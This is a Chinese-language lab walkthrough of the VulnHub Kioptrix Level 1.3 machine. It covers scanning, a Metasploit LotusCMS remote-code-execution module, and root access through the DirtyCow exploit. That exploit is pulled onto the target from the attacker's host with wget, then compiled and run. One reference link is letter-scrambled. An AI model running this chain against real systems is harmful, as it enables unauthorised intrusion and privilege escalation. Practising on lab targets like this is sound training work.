环境说明:
靶机:172.21.137.111
Kali:172.21.137.36
渗透过程:
-
首先进行信息收集,获取靶机的IP地址,使用命令
arp-scan -l,查看到靶机地址为172.21.137.111(靶机开启前后用工具各扫一次,看多的那个就是) -
既然找到了IP,那就用Nmap扫一下,命令:
nmap -sV --open -p- -T4 172.21.137.111,查看到仅开了22和80端口 -
由于肯定不会一上来**22端口,所以先去访问80端口,看到是个普通的页面
-
用dirsearch工具扫下目录,发现phpmyadmin数据库的登录页面和一些目录遍历
-
先查看目录遍历页面的文件,php文件一个都看不了,sh文件下载下来都没实际效用,这条路得先放一放
-
尝试用默认账号和弱口令手动登录phpmyadmin,发现不允许登录,看来这条路也走不通
-
目录**看来扫不到什么有用的,去主页点点看吧,点了主页的Login,发现是个LotusCMS
-
先试试看有没有注入,输入
admin'和admin' #提交后,并未有任何报错,总不能瞎跑注入和账密**吧,还是得另寻出路 -
既然是LotusCMS,网上查查有没有相关漏洞,直接上Google搜
’LotusCMS 漏洞‘,发现其爆出过远程命令执行漏洞,还收录再了msf中 -
那就好说了,直接去msf用
search Lotuscms搜一下,发现确实存在相关的EXP -
那直接命令
use exploit/multi/http/lcms_php_exec先用上,再用show options看看需要哪些参数 -
看起来只要设置下RHOSTS就行了,修改RHOSTS为靶机IP,命令
set RHOSTS 172.21.137.111 -
设置好后,运行,发现没有成功,没有拿到SHELL
-
爷不信邪,难道是设置参数错了,再
show options发现没有错啊,ip地址都对,到底介莫肥四? -
没办法,用
info命令看看这个EXP描述部分,发现其默认使用了/lcms/路径,但我这里根本没有这个路径啊,看来是这里出了问题! -
把URI参数改成
/路径,然后运行就成功Get Shell了,我真他娘个渗透鬼才啊!!!啊哈哈哈 -
拿到SHELL了那就好薛了呀,肯定要提权嘛,先看看自己是啥身份,这到底是个什么系统,用
id、whoami、uname -a/-r,发现命令根本没用啊,怎么还提示未知命令了?甚至getsystem也不行,什么情况? -
可能meterpreter状态下,命令和shell的不同造成的出错,但我又没学过meterpreter的命令,只能后续再花时间研究,先用命令
shell切换到原生shell,发现之前的命令都能执行了!哈哈哈,还是原来的配方,还是原来的味道!虽然简陋了点,但顺手啊! -
通过上面在Shell命令中获取的系统内核信息,就可以工具 linux-exploit-suggester 查找响应的EXP来提权啦,还是老样子啊,一搜还是有很多,但是看到了熟悉的身影 脏牛2(dirtycow 2) ,是不是一下子有遇到老乡的感觉了!?哈哈哈,是心动的感JO~
-
还是老套路,先进入靶机 root目录的tmp目录下,准备下载EXP(这里要注意不能直接从exploit-db.com下载文件,会报错,问了身边的大佬,是和靶机设置的策略有关,所以下载不了http协议下的资源的)
-
那就老样子,Kali把EXP下载下来,然后在EXP所在目录用
python3 -m http.server 9999开启端口,靶机的Shell那里用命令wget http://172.21.137.36:9999/40839.c下载过来(这里还遇到个问题,我用同一个网段中的Win10机器,下载好EXP后,在PowerShell和CMD中用用python3开启端口,Kali和靶机这边都无法访问,但是用Shell命令行方式开启端口,却能被其他机器访问,目前猜测可能是PowerShell、CMD没有高权限导致的,这个问题还需要研究下) -
下载好后,按照EXP中注释里的给出的方式进行编译,命令
gcc -pthread 40839.c -o 40839 -lcrypt -
编译好后,用
./40839执行文件,并输入必要的密码,等待执行完成即可 -
如上图所示,执行完后,会给出用户名,密码是刚才填入的,这就可以用来登录啦!
-
登录后,自然就是root身份的人啦!完美开心的结束!!!啊哈哈哈哈!!: D
参考链接:
- https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
- http://loujz.com/tfdvsjuz/fyqmpju/jogpsnbujpo/18326.iunm